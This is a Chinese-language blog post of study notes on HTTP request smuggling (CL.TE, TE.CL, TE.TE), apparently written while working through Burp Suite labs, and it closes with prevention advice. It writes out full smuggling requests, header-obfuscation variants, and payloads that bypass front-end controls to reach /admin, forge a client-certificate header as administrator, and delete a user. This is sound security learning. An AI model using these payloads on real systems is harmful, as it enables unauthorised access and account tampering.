# 前言

前面已经写过了 http 的基本内容,本篇简单的记录一下学习 http 走私的内容

# 什么是 HTTP 走私

简单来说,HTTP 的请求包中会带有另一个或者多个 HTTP 请求包。因为在 http1.1 中引入了长连接 keep-alive 与 pipline 的概念,长连接允许多个请求使用同一个 tcp 连接,前置服务器和后端服务器在 http 上面的划分不一致的时候就会导致 HTTP 走私。

# HTTP 走私产生的原因

HTTP 规范提供了两种指定请求结束的位置
Content-Length 头以字节为单位指定消息正文的长度
Transfer-Encoding 头一般指定邮件正文使用分块编码

下面用两个例子说明一下两种头的作用

Content-Length:以字节为单位指定了消息正文的长度

POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 
q=smuggling

Transfer-Encoding:指定消息正文使用分块编码,这意味着消息正文包含一个或者多个数据块,每个块由字节为单位的块大小组成,后跟块内容,消息以大小为零的块终止。

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0

前置服务器和后端服务器对于两种头的优先级不同,导致漏洞产生

HTTP 走私分为三种,一下实验基于 burp 靶场

# CL.TE 漏洞

一个简单的例子:

当一个包中同时使用 CL 头和 TE 头

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端服务器优先处理 CL 头识别从正文开始的 13 个字节,当这个请求包发送到后端服务器的时候会优先处理 TE 头,这里因为 0 的下一行是空,后端服务器认为是结束了,多出来的数据会等待下一个请求包,作为下一个请求包的开头,这里就会产生 HTTP 走私。

下面靶场测试

因为是一个简单的 demo,这里直接更改请求包

image-20220821234717891

连续发包两次,成功造成 http 走私

image-20220821234845694

成功

# TE.CL 漏洞

与前一个相反,这个漏洞前端服务器使用 TE 头处理,后端服务器使用 CL 头处理

还是一个简单的例子

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0

前端服务器使用 TE 使用分块编码,第一个分块 8 字节,遇到 0,说明第二个分块被定义为 0 终止请求,转发到后端服务器,识别三个字节到 8,后面剩余出来

靶场测试

image-20220822000641307

成功

# TE.TE 漏洞

前端和后端服务器都支持 TE,可以通过混淆他们来使得一个服务器不处理 TE 请求头,实际上还是 CL-TE 或者 TE-CL

常用的混淆方式:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

接下来还是通过一个靶场来练习一下

image-20220822053041567

# 识别 HTTP 走私漏洞

检测 HTTP 请求走私漏洞最常用的有效方法是发送请求,存在 HTTP 走私会响应延迟

# 利用计时查找 CL.TE 漏洞

如果是 http 请求走私的 CL,TE 的攻击,那么可以构造下面的请求方式来测试

POST  / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
\r\n
1\r\n
A\r\n
X

前端服务器优先处理 CL 标头因此只转发了

POST  / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
\r\n
1\r\n
A

这个部分而后端服务器优先处理 T.E 头,但是没有遇到 0 会等待下一个块到达,所以造成了时延

# 使用计时技术查找 TE.CL 漏洞

如果是 HTTP 请求走私的 TE.CL 攻击 ,那么可以构造下面的 http 请求形式来测试

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 6\r\n
0\r\n
\r\n
X

前端服务器优先处理 TE 头发现 0 终止,而后端服务器因不够 6 为而继续等待

# 利用差分响应确认 HTTP 请求走私

在可能存在 HTTP 请求走私漏洞的地方可以实验该方法来进车

快速连续地向应用程序发送两个请求

目的

  1. 干扰下一个请求的处理的 “攻击” 请求。
  2. “正常” 请求。

# 使用差分响应确认 CL.TE 漏洞

要确认 CL.TE 漏洞,您需要发送如下攻击请求:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x

前端服务器优先 CL 头发送整个包,后端服务器优先处理 CL 头遇到 0 块停止处理

GET /404 HTTP/1.1
Foo: x

会接在下一部分发来的请求包,构成如下形式构成请求包

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

造成 HTTP 走私请求

下面通过靶场来证明漏洞利用

payload:

Content-Length: 39
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X

连续发两次

image-20220909002114321

# 使用差分响应确认 TE.CL 漏洞

确定 TE.CL 漏洞,您可以使用如下方式:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=1
0

如果攻击成功,则后端服务器会将此后所有的内容视为属于收到的下一个请求。这将导致后续的 “正常” 请求如下:

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=1
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling

由于此请求现在包含无效的 URL,因此服务器将使用状态代码 404 进行响应,指示攻击请求确实干扰了它。

接下来使用 burp 靶场证实

payload:

Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

image-20220909003633978

抓包

image-20220909004139741

修改后放两次

image-20220909004207946

# 如何利用漏洞

# 使用 http 请求走私绕过前端安全控制

在部分的应用程序中,前端 Web 服务器用于实现某些安全控制,从而决定一个请求是否被允许,允许的请求才会被转发到后端服务器,在后端服务器中,这些请求因为通过了安全控制被认为是安全的,故而不会再进一步检查

必然说通过下面的方式绕过限制请求 /home/admin

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

下面通过两个题来证实一下可行性

image-20220911005411446

image-20220911003725332

先直接访问 admin,发现回显 admin 被阻止了

image-20220911004444296

使用走私的方法,发现提示需要 local,加上标头

image-20220911004813501

两个包的主机头相互冲突

image-20220911005031790

加上主机标头,请求 delete

image-20220911005157069

image-20220911005426750

直接访问被阻止

image-20220911005928071

构造 http 走私

image-20220911010314460

又是因为 local,继续构造

image-20220911010748852

接下来像刚刚一样,delete

image-20220911010939860

# 对前端服务器进行重写

简单来说就是前端服务器对标头的更改有限制,因为有前端服务器的限制后端服务器就会认为传来的包是安全的

还是一个题来体现一下

image-20220911095351390

先构造

image-20220911161123005

然后发现回显 X-ReHyRF-IP 不是本地的,根据题目要求构造

image-20220911161747064

成功进入接下来根据题目要求删除 carlos

image-20220911161906089

image-20220911161923240

完成

# 绕过客户端验证

作为 TLS 握手的一部分,服务器通过提供证书向客户端(通常是浏览器)验证自己的身份。此证书包含其 “公共名 “(CN),该名称应与其注册的用户名匹配

一些站点更进一步;实现一种形式的相互 TLS 身份认证,其中客户端还必须向服务器提供证书,这种情况下客户端的 CN 通常是用户名或者类似的名称

对客户端进行身份验证的组件通常通过一个或者多个非标准的 http 标头将相关信息从证书传递到应用程序或者后端服务器

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

因为这些标头对前端服务器隐藏,所以会被后端服务器信任。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

# 如何防止 HTTP 请求走私漏洞

  • 使用 HTTP/2 端到端,并在可能的情况下禁用 HTTP 降级。HTTP/2 使用可靠的机制来确定请求的长度,并且在端到端使用时,本质上可以防止请求走私。如果无法避免 HTTP 降级,请确保根据 HTTP/1.1 规范验证重写的请求。例如,拒绝标头中包含换行符、标头名称中包含冒号以及请求方法中包含空格的请求。
  • 使前端服务器规范化不明确的请求,并使后端服务器拒绝任何仍然不明确的请求,从而在此过程中关闭 TCP 连接。
  • 永远不要假设请求没有正文。这是 CL.0 和客户端取消同步漏洞的根本原因。
  • 默认为在处理请求时触发服务器级异常时放弃连接。
  • 如果通过转发代理路由流量,请确保尽可能启用上游 HTTP/2。